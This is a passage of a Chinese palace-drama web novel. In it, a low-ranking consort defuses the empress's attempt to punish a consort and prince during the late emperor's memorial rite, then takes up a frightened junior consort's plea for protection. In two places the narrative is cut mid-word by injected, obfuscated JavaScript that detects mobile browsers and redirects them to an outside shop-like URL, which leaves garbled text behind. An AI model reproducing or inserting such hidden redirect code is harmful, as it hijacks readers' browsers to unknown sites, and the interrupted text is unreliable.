永熙元年正月二十三,天还未亮,紫禁城还浸在浓得化不开的墨色里,承乾宫东偏殿的窗棂,就已经透出了暖黄的灯光。 今日是先帝元启帝驾崩满一月的满月祭,是新帝登基后,第一场关乎皇家体面与礼制的重大祭祀。按祖制,太后需携新帝、后宫妃嫔、宗室亲王、先帝所有子女,一同前往奉先殿祭拜,半点差错都出不得。国丧未满百日,礼法严苛到了极致,稍有不慎,便是对先帝大不敬的死罪。 林清芷凌晨寅时就起身了,清禾和清秀守在一旁,大气都不敢出,手脚麻利地给她打理着。素色的杭绸祭服早已熨烫得平平整整,没有半分褶皱,连领口的暗纹都用同色丝线绣成,不仔细看根本瞧不出来;发髻梳成了最规矩的圆鬓,只插了两支素银簪子,连半分多余的装饰都没有;脸上素面朝天,连最淡的素粉都没敢施,只涂了一层薄薄的蛤蜊油,防止春日的寒风皴了脸。 “主子,再检查一遍,袖口、衣摆都没有不妥,身上也半点香气都没有,绝对不会出问题。”清秀拿着素帕,仔仔细细地拂过林清芷的衣摆,声音里满是紧张,“今日不比往日,奉先殿里全是眼睛,规矩严得能吃人,咱们可千万不能出半点岔子。” 林清芷看着铜镜里自己素净到近乎寡淡的脸,指尖轻轻摩挲着袖口,眼底一片清明。她怎么会不知道这场祭祀的分量?昨日她刚归顺宸贵妃党,皇后本就对她恨之入骨,今日这场合,正是抓错处、打杀异己的最好时机,稍有不慎,就会落得比恬贵人更惨的下场。 更何况,她如今是宸贵妃阵营的人,一荣俱荣,一损俱损。今日这场祭祀,不仅是她自己的生死关,更是她在阵营里站稳脚跟的第一战。 “别慌。”林清芷淡淡开口,声音平稳,“该准备的都准备好了,只要谨言慎行,守好规矩,没人能挑出咱们的错处。” 话音刚落,殿外就传来了小太监的通报声,是恪贵人金氏身边的贴身宫女锦儿来了。锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344791|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿快步走进殿内,对着林清芷恭恭敬敬地行了个礼,递上了一个小小的素布包:“愉常在主子,我家主子让奴婢给您送过来的。这里面是两包安神香末,不是熏香,是缝在衣襟里压惊用的,没有半点味道,绝对不会违制。还有一张祭祀的仪程单子,主子特意标了跪拜的时辰、叩首的次数,怕您第一次参加,出了差错。” 林清芷接过布包,心里微微一动。金氏这份关照,来得恰到好处,既是阵营里的扶持,也是在告诉她,入了这个阵营,就有靠山,不用再单打独斗。她对着锦儿温和道:“替我谢过恪贵人娘娘,劳烦她费心了,我都记下了。” “主子还说,今日奉先殿人多眼杂,皇后娘娘那边定然不会安分,让您务必跟紧宸贵妃娘娘,不要落单,有事互相照应。”锦儿又补充了一句,才躬身告退。 锦儿走后,清禾忍不住叹了口气:“恪贵人娘娘倒是细心,有她和宸贵妃娘娘在,今日咱们好歹有个依仗。” 林清芷打开布包,看着那张写得密密麻麻的仪程单,上面用朱砂标了所有需要注意的细节,连哪个环节该低头、哪个环节不能东张西望都写得清清楚楚。她微微勾了勾唇角,没说话。她心里清楚,金氏的关照是真,可这份关照的背后,也是在试探她的能力——今日这场祭祀,就是她给宸贵妃党交的第一份投名状。 卯时初,天刚蒙蒙亮,林清芷就带着清禾和清秀,坐着轿子往永寿宫去了。今日所有妃嫔,都要先在永寿宫集合,由皇后带领,一同前往慈宁宫接太后,再一起去奉先殿,半点都乱不得。 永寿宫的正殿里,早已站满了人。所有妃嫔都穿着清一色的素色祭服,按位份依次站好,鸦雀无声,连呼吸都放得极轻,整个大殿里,只有衣料摩擦的细碎声响。 皇后沈氏端坐在上首的凤椅上,一身明黄色的素凤祭服,头戴素银九尾凤簪,眉眼间满是中宫的威严与冷冽。昨日恬贵人被禁足,她不仅折了一个心腹,还被宸贵妃狠狠打了脸,今日脸色更是难看,目光扫过下方众人,带着刺骨的寒意。 宸贵妃安氏站在左侧首位,一身石青色的祭服,身姿挺拔,脸上带着惯有的骄纵,哪怕面对皇后,也没有半分怯意。贤嫔江氏站在她身侧,怀里抱着五岁的大皇子萧景瑞,脸上满是拘谨,手指紧紧攥着孩子的衣角,显然是紧张得不行。恪贵人金氏站在贤嫔身侧,垂着眼,安安静静的,看到林清芷进来,抬眼对着她微微颔首,递了个安抚的眼神。 右侧首位,懿妃白氏站着,一身湖蓝色的素服,眉眼温和,正低声叮嘱着身侧的淑嫔陈氏什么。淑嫔怀里抱着两岁的三皇子萧景琪,连连点头,惜常在池氏站在她身后,垂首站着,连头都不敢抬。 最末的位置,慎答应许氏缩在角落,脸色苍白,手指紧紧攥着帕子,浑身都在微微发抖,显然是被这肃穆的氛围吓坏了。 林清芷目不斜视,快步走到末位,对着上首的皇后和宸贵妃、懿妃依次行了蹲礼,恭恭敬敬道:“嫔妾给皇后娘娘请安,给宸贵妃娘娘请安,给懿妃娘娘请安。” 皇后的目光落在她身上,冷冷地扫了一眼,没说话,只是鼻子里轻轻哼了一声,带着毫不掩饰的敌意。 宸贵妃则对着她摆了摆手,嘴角勾起一抹淡淡的笑意,开口道:“来了就好,站定吧。时辰快到了,别乱了规矩。” “谢宸贵妃娘娘。”林清芷再次躬身道谢,走到了恪贵人下首的位置,垂首站定,正好和贤嫔、金氏站在一处,明眼人都看得出来,她已经彻底入了宸贵妃的阵营。 没过多大会儿,殿外的太监高声唱喏:“时辰到,请娘娘们起驾,前往慈宁宫——” 皇后缓缓站起身,整理了一下衣摆,冷冷地扫过众人,厉声道:“今日是先帝的满月祭,规矩都给本宫牢牢记住了。到了慈宁宫,见了太后娘娘,言行举止都要合礼;到了奉先殿,更要谨言慎行,毕恭毕敬。但凡有谁敢出半点差错,坏了祭祀,对先帝大不敬,本宫绝不轻饶,听明白了吗?” “嫔妾谨遵皇后娘娘教诲。”众人齐齐躬身应道,声音整齐划一,在寂静的大殿里响起。 皇后点了点头,率先迈步往外走,众人按照位份,依次跟在她身后,浩浩荡荡地往慈宁宫去了。 到了慈宁宫,太后早已梳洗妥当,端坐在正殿的凤椅上。今日的太后,穿了一身深棕色的素缎祭服,头发梳得整整齐齐,只戴了一支素金簪子,脸上没什么表情,眼神清明,带着看透世事的通透与威严。仁宪太后是先帝的继后,一手扶持新帝登基,在宗室和后宫里,有着绝对的话语权,哪怕是皇后,在她面前,也要毕恭毕敬,不敢有半分逾矩。 6. 满月祭礼,分毫不乱 众人跟着皇后,给太后行了三跪九叩的大礼,恭恭敬敬地请安。太后摆了摆手,温和道:“都起来吧。今日是先帝的满月祭,你们心里有敬意就好,不必太过拘礼。一会儿到了奉先殿,诚心祭拜,先帝在天有灵,也会护着你们的。” “臣妾谨遵太后娘娘教诲。”皇后躬身应道,上前一步,扶着太后的胳膊,“母后,时辰差不多了,咱们该起驾去奉先殿了。” 太后点了点头,在皇后的搀扶下,缓缓站起身,往外走去。众人依旧按照位份,跟在太后和皇后身后,浩浩荡荡地往奉先殿去了。 奉先殿坐落于紫禁城东侧,是皇家供奉先祖列帝牌位的地方,历来是皇家禁地,只有祭祀大典,才能入内。今日的奉先殿,更是庄严肃穆,殿外的汉白玉栏杆上,挂满了素白的幡幔,殿前的空地上,站满了宗室亲王、文武百官,鸦雀无声,连风都仿佛停了下来,不敢惊扰了这份肃穆。 太后的凤辇停在殿门前,新帝萧敬轩早已等候在那里。他今日穿了一身明黄色的素龙祭服,头戴素金翼善冠,眉眼间褪去了往日的温和,满是帝王的冷硬与威仪。见太后下辇,他连忙上前,躬身行礼:“儿臣给母后请安。” “皇帝免礼。”太后扶了扶他的胳膊,温和道,“都准备好了?” “都准备好了,只等母后和后宫众妃,便可开祭。”萧敬轩躬身应道,目光扫过跟在太后身后的众妃,最后在林清芷身上停留了一瞬,眼底闪过一丝不易察觉的探究,又很快移开了。 林清芷垂首站着,清晰地感受到了那道目光,心跳微微一顿,却依旧保持着恭谨的姿态,没有抬头,没有半分逾矩。 就在这时,殿旁的偏门处,走来了一群人,正是先帝的子女们。林清芷抬眼飞快地扫了一眼,心里默默记下了所有人的身份——这些人,是宗室里最核心的力量,哪怕是后宫的妃嫔,也绝不能轻易得罪。 走在最前面的,是先帝的皇长子,端亲王萧景渊。他今年三十岁,是先帝最年长的儿子,母妃是先帝的端贵妃,如今的端太妃。他身形高大,眉眼间带着久经沙场的硬朗,一身石青色的亲王祭服,气度不凡。他早年随先帝出征,立下了赫赫战功,如今手握京郊三大营的部分兵权,是宗室里最有话语权的亲王。他对新帝毕恭毕敬,上前行礼问安,可眼底深处,却藏着一丝不易察觉的城府,连太后都对他客气三分,既拉拢,又防备。 紧随其后的,是先帝的皇三子,萧景宏,今年十七岁,封了顺郡王。他的母妃是先帝的陈太妃,出身不高,没什么势力,他性子也温和内敛,没什么野心,跟在端亲王身后,安安静静的,不多说一句话,只在行礼时躬身问安,规矩挑不出半分错处。 再往后,是先帝的皇四子,萧景曜,今年十五岁,尚未封爵。他的母妃是先帝的宁太妃,和太后是闺中密友,自小跟着太后长大,最得太后疼爱。他性子跳脱,眉眼间带着少年人的意气,哪怕是在这么肃穆的场合,也忍不住偷偷抬眼打量着后宫的妃嫔,被太后瞪了一眼,才连忙低下头,规规矩矩地站好。 除了三位皇子,还有先帝的三位公主,也一同前来祭拜。 走在最前面的,是皇长女,昭阳长公主。她今年二十八岁,早已下嫁吏部尚书的嫡子,世家出身的驸马,在宗室和朝堂上,都有着不小的话语权。她一身素色的长公主祭服,眉眼间带着世家贵女的端庄与大气,和皇后沈氏是姑嫂,又是同出世家,关系素来亲近,见了皇后,微微颔首示意,眼底带着默契。 紧随其后的,是皇二女,安宁公主,今年十六岁,尚未出嫁。她自小被太后养在慈宁宫,性子沉稳通透,和太后最是亲近,也和宸贵妃安氏素来交好,见了宸贵妃,对着她微微笑了笑,眼底满是熟稔。 走在最后的,是皇三女,乐安公主,今年十四岁,年纪最小,性子娇憨可爱,躲在宁太妃的身后,时不时偷偷抬眼看看四周,眼里满是好奇,像只受惊的小兔子,格外惹人怜爱。 林清芷站在人群里,飞快地把这些人的身份、关系、势力都记在了心里。她太清楚了,这后宫里的争斗,从来都不止于后宫,和前朝宗室,从来都是牵一发而动全身。皇后有昭阳长公主和沈家撑腰,宸贵妃有安宁公主和镇国公府做靠山,这些宗室亲王公主,看似不掺和后宫的事,可他们的一句话,就能决定后宫妃嫔的生死荣辱。 就在这时,奉先殿内的司仪官高声唱喏:“吉时到——开祭——” 悠长的唱喏声,划破了寂静的晨空。萧敬轩上前,扶着太后,率先走进了奉先殿。殿内正中,供奉着先帝的牌位,牌位前摆满了祭品,香烛燃着,淡淡的檀香弥漫在整个大殿里,让人不自觉地屏住呼吸,心生敬畏。 祭祀的流程,繁琐而严苛。先是太后和新帝上前,上香,敬酒,行三跪九叩的大礼;然后是宗室亲王、先帝的子女们,依次上前祭拜;最后,才是后宫的妃嫔们,按照位份,依次上前,行跪拜大礼。 整个过程,肃穆到了极致,殿内除了司仪官的唱喏声,就只有跪拜时衣料摩擦的声响,连咳嗽一声都不敢。所有人都毕恭毕敬,垂着眼,不敢东张西望,生怕一不小心,就落了个对先帝大不敬的罪名。 林清芷跟在恪贵人金氏身后,一步一步,规规矩矩地按着仪程走,跪拜的时辰、叩首的次数,都和金氏分毫不差,挑不出半分错处。她垂着眼,眼角的余光却时刻留意着四周的动静,皇后的目光,宸贵妃的动作,还有贤嫔怀里的大皇子萧景瑞。 她早就注意到了,大皇子萧景瑞今年才五岁,正是坐不住的年纪,从进殿开始,就被贤嫔按着跪在蒲团上,半个时辰过去了,孩子早就跪得腿麻,身子时不时地晃一下,小脸憋得通红,眼里含着泪,却不敢哭出声。 贤嫔江氏性子本就绵软,没什么城府,此刻更是紧张得浑身发抖,一边按着孩子,一边自己都快哭了,生怕孩子出了差错,惹来祸事。 林清芷心里暗暗叹了口气,知道皇后定然不会放过这个机会。贤嫔是宸贵妃党的人,手里握着皇长子,是皇后和嫡子最大的威胁,皇后早就想除之而后快,今日这场合,正是抓她错处的最好时机。 果然,就在众妃集体行最后一轮三跪九叩大礼的时候,意外发生了。 大皇子萧景瑞跪得太久,腿麻得实在受不了,身子一歪,从蒲团上滑了下去,忍不住小声哼唧了一句:“额娘,我腿疼……” 声音不大,可在这寂静得连根针掉在地上都能听见的奉先殿里,却格外清晰。 所有人的目光,瞬间都齐刷刷地落在了贤嫔和大皇子的身上。 贤嫔的脸瞬间白得像纸,浑身都在发抖,连忙把孩子拉回蒲团上,捂住他的嘴,对着先帝的牌位连连磕头,声音都在发颤:“先帝恕罪!先帝恕罪!是臣妾教子无方!求先帝恕罪!” 皇后的眼睛瞬间亮了,猛地转过身,对着贤嫔厉声呵斥:“贤嫔!你好大的胆子!今日是先帝的满月祭,奉先殿内,先帝灵前,你竟敢纵容皇子喧哗失礼,对先帝大不敬!你眼里还有先帝,还有宫规礼法吗?!” 贤嫔吓得瘫软在地上,对着皇后连连磕头,额头都磕出了血印:“皇后娘娘恕罪!臣妾知错了!求皇后娘娘恕罪!是臣妾没有看好孩子,求娘娘责罚臣妾,不要怪罪孩子!” “责罚你?”皇后冷笑一声,目光扫过宸贵妃,带着毫不掩饰的挑衅,“如此大不敬之罪,岂是一句知错就能算了的?先帝尸骨未寒,你就敢在他的灵前纵容孩子失礼,可见你平日里根本没有半点敬畏之心!来人!把贤嫔拖下去,禁足延禧宫半年,罚抄《女诫》百遍,好好反省!” 皇后这一手,又快又狠。不仅借着礼法,打了宸贵妃党的脸,折了宸贵妃的左膀右臂,还借着禁足,断了贤嫔和皇长子的联系,往后想对皇长子下手,就容易多了。 宸贵妃的脸色瞬间沉了下来,想开口护着贤嫔,却又无从下口。皇后占着礼法,句句都扣着“对先帝大不敬”的罪名,她若是强行阻拦,就是对先帝不敬,不仅护不住贤嫔,还会把自己也拖下水。她站在原地,手指紧紧攥着衣角,脸色铁青,却一句话都说不出来。 恪贵人金氏的眉头也紧紧皱起,眼底闪过一丝焦急,却也想不出万全之策。整个奉先殿里,鸦雀无声,宗室亲王们垂着眼,不掺和后宫的事,太后端坐在上首,面无表情,没有开口的意思,显然是想看看,这件事要如何收场。 侍卫已经上前,就要架起瘫在地上的贤嫔。 就在这时,一道温和却清晰的声音,突然在殿内响起,硬生生止住了侍卫的动作。 “皇后娘娘,请息怒。” 所有人都愣住了,循声望去,只见林清芷从末位走了出来,跪在地上,对着皇后和太后、皇上,恭恭敬敬地磕了个头,垂首道:“嫔妾有话要说,求皇后娘娘容嫔妾禀明。” 皇后的脸色瞬间沉了下来,看着跪在地上的林清芷,厉声喝道:“愉常在?这里有你说话的份吗?你敢在奉先殿先帝灵前喧哗,是也想落个大不敬的罪名不成?” 林清芷抬起头,不卑不亢地迎上皇后的目光,声音平稳,条理清晰:“皇后娘娘息怒,嫔妾不敢喧哗,只是不忍心看着贤嫔娘娘蒙受不白之冤,更不忍心看着大皇子的一片孝心,被当成了失礼之举。” “孝心?”皇后冷笑一声,“他在先帝灵前喧哗失礼,何来的孝心?愉常在,你少在这里巧言令色,替贤嫔开脱!” “皇后娘娘明鉴。”林清芷恭恭敬敬地磕了个头,缓缓道,“大皇子今年才五岁,正是懂事的年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344792|199488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪。昨夜嫔妾去贤嫔娘娘宫里送东西,亲眼看到大皇子不睡觉,拿着笔,一笔一划地抄祈福经文,说今日要祭拜皇祖父,要把经文烧给皇祖父,求皇祖父在天有灵,保佑皇阿玛,保佑太后娘娘,保佑宸朝风调雨顺。” 她顿了顿,目光落在大皇子身上,语气里带着一丝温和:“大皇子昨夜抄经文到深夜,本就没睡好,今日又跟着我们跪了这么久,腿麻站不稳,才不小心出了声响,根本不是故意喧哗失礼。他心里记挂着皇祖父,一片赤诚孝心,先帝在天有灵,看到皇孙这么孝顺,高兴还来不及,又怎么会怪罪呢?” 这番话,说得滴水不漏。既给大皇子的动静找了个完美的理由,又把“失礼”变成了“孝心”,既捧了先帝,又顺带着拍了皇上和太后的马屁,还给了皇后一个完美的台阶,哪怕皇后想再追责,也无从下口——总不能说,孩子孝顺先帝,也是错的。 殿内瞬间安静了下来,所有人的目光,都落在了林清芷的身上,有惊讶,有欣赏,也有忌惮。 太后端坐在上首,看着跪在地上的林清芷,眼底闪过一丝赞许,缓缓开口道:“哦?还有这事?景瑞这孩子,倒是一片孝心。” 大皇子萧景瑞虽然年纪小,却也听得懂话,连忙对着太后的方向,奶声奶气地开口道:“皇祖母,孙儿昨夜真的抄经文了!孙儿想皇祖父了!孙儿不是故意出声的!” 太后看着孩子红通通的眼睛,瞬间心软了,对着皇后摆了摆手,温和道:“皇后,孩子一片孝心,又不是故意失礼,先帝在天有灵,也不会怪罪的。这事就这么算了吧,贤嫔也是紧张孩子,不必责罚了。” 太后开了口,皇后就算再不甘心,也不敢违逆。她的脸色铁青,狠狠瞪了林清芷一眼,却只能咬着牙道:“是,臣妾谨遵母后教诲。” 她转过身,对着还跪在地上的贤嫔,冷冷道:“既然太后娘娘开恩,今日就饶了你。往后好好看顾皇子,教他规矩,再敢出半点差错,本宫绝不轻饶。” “谢皇后娘娘!谢太后娘娘!”贤嫔喜极而泣,连连磕头道谢,看向林清芷的眼神里,满是感激。 林清芷恭恭敬敬地磕了个头,退回了自己的位置,垂首站定,脸上没有丝毫得意,依旧是那副恭谨安分的样子,仿佛刚才开口说话的,不是她一样。 可所有人都知道,从这一刻起,再也没人敢小看这个住在承乾宫的小小愉常在了。 萧敬轩站在一旁,看着林清芷的背影,眼底闪过一丝不易察觉的欣赏与深意。他原本以为,这个女子只是个安分守己的棋子,却没想到,她不仅有胆识,还有智慧,在这种进退两难的局面里,竟然能想出这么完美的法子,既化解了危机,又不得罪任何人,这份心智,在后宫里,实属难得。 宸贵妃和金氏对视一眼,都从对方的眼里看到了满意。她们果然没看错人,林清芷这步棋,走对了。今日她不仅帮阵营保住了贤嫔,打了皇后的脸,还在太后面前、皇上眼里,刷足了存在感,给阵营挣足了脸面。 祭祀的尾声,顺顺利利地结束了,没有再出任何差错。 从奉先殿出来的时候,日头已经升得很高了,春日的阳光照在红墙黄瓦上,暖融融的。宸贵妃特意停下脚步,等林清芷走过来,对着她笑着道:“愉常在,今日多亏了你,做得很好。” 金氏也走上前,对着她温和地笑了笑:“愉常在妹妹果然聪慧,临危不乱,姐姐佩服。” 贤嫔更是快步上前,对着林清芷深深行了一礼,红着眼眶道:“愉常在妹妹,今日大恩,姐姐没齿难忘!往后妹妹但凡有什么事,姐姐万死不辞!” 林清芷连忙侧身避开,扶住贤嫔,恭谨道:“娘娘们太客气了,嫔妾只是实话实说,不敢居功。咱们都是一条船上的人,互相照应,是应该的。” 这句话,说得恰到好处,既表明了自己的立场,又拉近了和阵营里所有人的关系。宸贵妃看着她,眼里的满意更甚,拍了拍她的肩膀,笑着道:“好,说得好!往后有本宫在,没人敢再欺负你。有空多去咸福宫走动,咱们姐妹,好好说说话。” “嫔妾遵命。”林清芷恭恭敬敬地躬身应道。 宸贵妃带着贤嫔和金氏,浩浩荡荡地走了。林清芷站在宫道上,看着她们远去的背影,又回头望了望庄严肃穆的奉先殿,轻轻舒了口气。 今日这一战,她赢了。她不仅在宸贵妃的阵营里,彻底站稳了脚跟,还在皇上和太后面前,留下了深刻的印象。 可她心里清楚,这只是开始。这深宫的路,还很长,黑暗还在前方等着她。 她抬手拢了拢鬓边的碎发,迎着春日的阳光,眼底闪过一丝坚定的光。她会守住心里的那束光,一步一步,稳稳地走下去,在这吃人的深宫里,活成自己的太阳。 7. 许氏求情,入盟合作 奉先殿的祭礼散场时,日头已经爬过了太和殿的飞檐,明晃晃的春日阳光洒在紫禁城的宫道上,却驱不散众人心底的寒意。 宫道上泾渭分明,各宫妃嫔按着位份与阵营,各自上轿离去。皇后沈氏扶着太后的凤辇走在最前,脸色铁青,周身的低气压连身边的昭阳长公主都不敢轻易搭话——今日在奉先殿,她本想借着皇长子的失礼折了宸贵妃的左膀右臂,却被林清芷轻飘飘几句话化解,不仅没罚成贤嫔,反倒让林清芷在太后和皇上跟前露了大脸,这口气,她怎么咽得下去。 宸贵妃安氏一行人走在另一侧,脸上满是掩不住的得意。贤嫔江氏紧紧抱着大皇子萧景瑞,时不时回头看向落在后面的林清芷,眼里的感激几乎要溢出来;恪贵人金氏走在宸贵妃身侧,嘴角噙着淡淡的笑意,眼底却藏着对林清芷的审视与欣赏——她早知道这女子不简单,却没想到她有这般临危不乱的胆识和滴水不漏的口才,果然是个可塑之才。 其余的人里,懿妃白氏带着淑嫔陈氏、惜常在池氏,安安静静地走在偏道上,不掺和两派的恩怨,却把刚才殿里发生的一切都看在了眼里。懿妃指尖轻轻摩挲着袖口,眼底闪过一丝深意,对着身侧的淑嫔低声道:“看来,这后宫里,要多一个不能小看的人了。” 而缩在队伍最末尾的慎答应许氏,早已吓得浑身发软,若不是身边的宫女扶着,几乎要站不稳摔在宫道上。 她是这后宫里位份最低的答应。无宠,无子嗣,家世普通,性子又怯懦胆小,从潜邸到紫禁城,从来都是角落里最不起眼的那一个,连大声说话都不敢。之前恬贵人栽赃林清芷被反杀,她吓得三天没睡好觉;今日奉先殿里,贤嫔只差一步就被禁足,皇后那副要吃人的样子,更是把她的魂都吓飞了。 她太清楚自己的处境了。 她无依无靠,位份低微,谁都能踩她一脚。今日皇后能借着礼法罚贤嫔,明日就能随便找个由头,把她这个无依无靠的答应当成出气筒,或是当成栽赃别人的棋子,用完就扔,连个水花都不会有。刚才奉先殿里那一幕,让她彻底看清了,这后宫里,没有靠山,就根本活不下去。 而唯一能给她这个机会的,只有林清芷。 她亲眼看着林清芷从和她一样的中立者,一步步走到了宸贵妃阵营里,看着她临危不乱化解了皇后的杀招,看着她沉稳、聪慧,哪怕面对皇后的威压,也能不卑不亢地说出那番话。更重要的是,林清芷和她一样,都是从潜邸的低位份侍妾一步步走过来的,懂她的恐惧,懂她的身不由己。 若是能跟着愉常在姐姐,入了宸贵妃的阵营,哪怕只是做个不起眼的小卒,至少也有了靠山,不会再像现在这样,每天提心吊胆,生怕哪天就莫名其妙地死在了这深宫里。 这个念头一旦冒出来,就像野草一样在她心里疯长。她看着前面林清芷的轿子就要拐进承乾宫的方向,再也顾不上害怕,咬了咬牙,甩开扶着她的宫女,提着裙摆,疯了一样朝着宫道拐角追了过去。 “愉常在姐姐!请留步!姐姐!” 她的声音带着哭腔,又不敢太大声,怕被旁人听见。 林清芷的轿子已经停在了承乾宫门口,她正扶着清禾的手下轿,听到身后带着哭腔的呼喊,微微一愣,转过身去。 只见慎答应许氏跌跌撞撞地跑了过来,素色的常服被风吹得凌乱,发髻都散了几缕,脸上满是泪水和惶恐,跑到她面前,二话不说,“噗通”一声就跪了下来,对着她重重磕了个头。 “姐姐!求姐姐救救我!求姐姐给我一条活路!” 清禾和清秀都吓了一跳,连忙上前想扶她,却被她躲开了。林清芷看着跪在地上哭得浑身发抖的慎答应,眉头微微皱起,扫了一眼四周,见宫道上没人,只有两边守宫门的太监,连忙沉声道:“慎答应妹妹快起来,这里是宫门口,人多眼杂,有什么话,进殿里说。” 慎答应抬起头,泪眼婆娑地看着她,眼里满是哀求,像只受惊的小兔子,生怕她拒绝。林清芷对着她微微颔首,示意她起来,慎答应这才在宫女的搀扶下,颤颤巍巍地站了起来,脚步虚浮地跟着林清芷,走进了承乾宫东偏殿。 一进殿门,关上了房门,隔绝了外面所有的窥探,慎答应再也撑不住了,再次“噗通”一声跪在了林清芷面前,哭得泣不成声。 “姐姐,嫔妾知道,嫔妾不该来打扰姐姐,可嫔妾实在是走投无路了。”她一边哭,一边给林清芷磕头,额头都磕红了,“今日在奉先殿里,姐姐也看到了,皇后娘娘说罚谁就罚谁,这后宫里,没有靠山,根本就活不下去啊。” 林清芷坐在软榻上,看着跪在地上的慎答应,没有立刻让她起来,只是端起茶盏,轻轻抿了一口,缓缓道:“慎答应妹妹先起来说话,有什么事,慢慢说,不用这样。” “嫔妾不起来,姐姐不答应嫔妾,嫔妾就跪死在这里。”慎答应摇着头,眼泪像断了线的珠子一样往下掉,声音里满是绝望,“姐姐,嫔妾和您一样,都是潜邸出来的,无宠无出,家世普通,在这宫里,就像一粒尘埃一样。之前您和嫔妾一样,都是孤零零的,可如今姐姐有了宸贵妃娘娘做靠山,有了安身立命的地方,可嫔妾……嫔妾还是一个人,每天都提心吊胆,生怕哪天就被人当成了棋子,用完就扔,连怎么死的都不知道。” 她顿了顿,抬起头,泪眼朦胧地看着林清芷,眼里满是恳切:“姐姐,嫔妾知道,嫔妾位份低微,胆小怕事,没什么用处,可嫔妾听话!嫔妾绝对不会背叛姐姐,不会背叛宸贵妃娘娘!嫔妾只求能跟着姐姐,入了宸贵妃娘娘的阵营,有个靠山,能安安稳稳地活下去,就够了!嫔妾愿意给姐姐做牛做马,姐姐让嫔妾做什么,嫔妾就做什么,绝无二心!” 这番话,她说得掏心掏肺,每一个字都带着求生的本能,带着对这深宫的恐惧。 林清芷看着她,心里微微一动。她太懂这种恐惧了。刚进潜邸的时候,她也是这样,无依无靠,每天谨小慎微,生怕说错一句话,做错一件事,就落得个万劫不复的下场。慎答应现在的样子,像极了当初的她,只是她比慎答应多了几分隐忍和心机,多了几分不肯认命的狠劲。 可她也清楚,这件事不是她能做主的。慎答应想入宸贵妃的阵营,必须要宸贵妃点头同意才行。她若是贸然答应,不仅帮不了慎答应,还会落个私下结党的罪名,惹宸贵妃不快,甚至会让宸贵妃怀疑她的用心。 “妹妹的心意,我懂了。”林清芷放下茶盏,缓缓开口,声音温和,却带着一丝清醒,“只是你要知道,入了阵营,就不是你想的那么简单了。有了靠山,就要受阵营的约束,就要和皇后党对上,往后少不了刀光剑影,说不定比你现在单打独斗还要危险,你想清楚了?” “嫔妾想清楚了!”慎答应想都没想,立刻点头,语气无比坚定,“嫔妾不怕!与其每天提心吊胆,不知道哪天就死了,不如跟着姐姐,就算是刀山火海,至少也有个盼头!嫔妾这条命,本来就不值钱,只要能活下去,嫔妾什么都不怕!” “好。”林清芷看着她眼里的决绝,微微颔首,“你先起来,回去等着。这件事,我不能给你打包票,只能去替你求一求宸贵妃娘娘。成与不成,我都会给你一个准信。” 慎答应听到她肯帮忙,瞬间喜极而泣,对着她重重磕了三个响头,声音都在发抖:“谢姐姐!谢谢姐姐!嫔妾这条命,以后就是姐姐的了!姐姐大恩大德,嫔妾没齿难忘!” 林清芷让清秀扶她起来,又叮嘱了几句,让她回去之后安分守己,不要声张,免得被皇后的人抓住把柄,慎答应连连应下,千恩万谢地带着宫女走了。 慎答应走后,殿里瞬间安静了下来。清禾忍不住开口道:“主子,您真的要帮慎答应娘娘去求宸贵妃娘娘?这件事风险不小啊。宸贵妃娘娘若是觉得慎答应娘娘胆小没用,不肯收,反倒会觉得您多管闲事,私下拉拢人,岂不是得不偿失?” 清秀也跟着点头,一脸担忧:“是啊主子,慎答应娘娘胆子太小了,遇事就慌,万一到时候出了什么差错,把您供出来,岂不是连累了您?再说了,皇后娘娘本来就恨您恨得牙痒痒,要是知道您拉拢了慎答应娘娘,更是要把您当成眼中钉了。” 林清芷靠在软榻上,指尖轻轻敲着桌面,眼底闪过一丝深思。她怎么会不知道这里面的风险?可她更清楚,这件事,看似是帮慎答应,实则也是在帮她自己。 清禾和清秀对视一眼,瞬间明白了过来。她们只看到了表面的风险,却没想到主子想得这么深,这么远。 “那主子,咱们什么时候去咸福宫?”清禾连忙问道。 “现在就去。”林清芷站起身,整理了一下衣摆,“今日祭礼刚结束,宸贵妃娘娘心里正高兴,对我也正满意,这个时候去开口,成功率最高。晚了,反倒生分了。” 她顿了顿,补充道:“清禾,你去小库房里,把那支先帝赏的、我一直没戴的和田玉簪子拿上,给宸贵妃娘娘带过去。国丧期不能送贵重首饰,这支簪子素净,合规矩,也能表心意。” “是,奴婢这就去。”清禾连忙应声,快步去了库房。 半个时辰后,林清芷带着清禾,坐着轿子,往咸福宫去了。 咸福宫是宸贵妃的居所,气派非凡,门口的太监宫女站得笔直,见林清芷过来,连忙躬身行礼,脸上满是恭敬——今日奉先殿里的事,早就传遍了后宫,谁都知道,这位愉常在娘娘是宸贵妃跟前的红人,未来不可限量,没人敢怠慢。 “烦请公公通传一声,就说愉常在林清芷,来给宸贵妃娘娘请安。”林清芷对着守门太监温和道。 “愉常在娘娘客气了,娘娘早就吩咐过,您来了,直接进去就是,不用通传。”太监连忙笑着应道,侧身引着林清芷往里走。 林清芷微微颔首,心里清楚,这是宸贵妃给她的体面。她跟着太监走进正殿,只见宸贵妃安氏正坐在上首的软榻上,贤嫔江氏和恪贵人金氏坐在两侧,三人正说着今日奉先殿里的事,气氛正好。 见林清芷进来,宸贵妃立刻笑着招了招手:“愉常在来了?快过来坐。我正和她们说你呢,今日在奉先殿,你可真是给我们长脸了!” 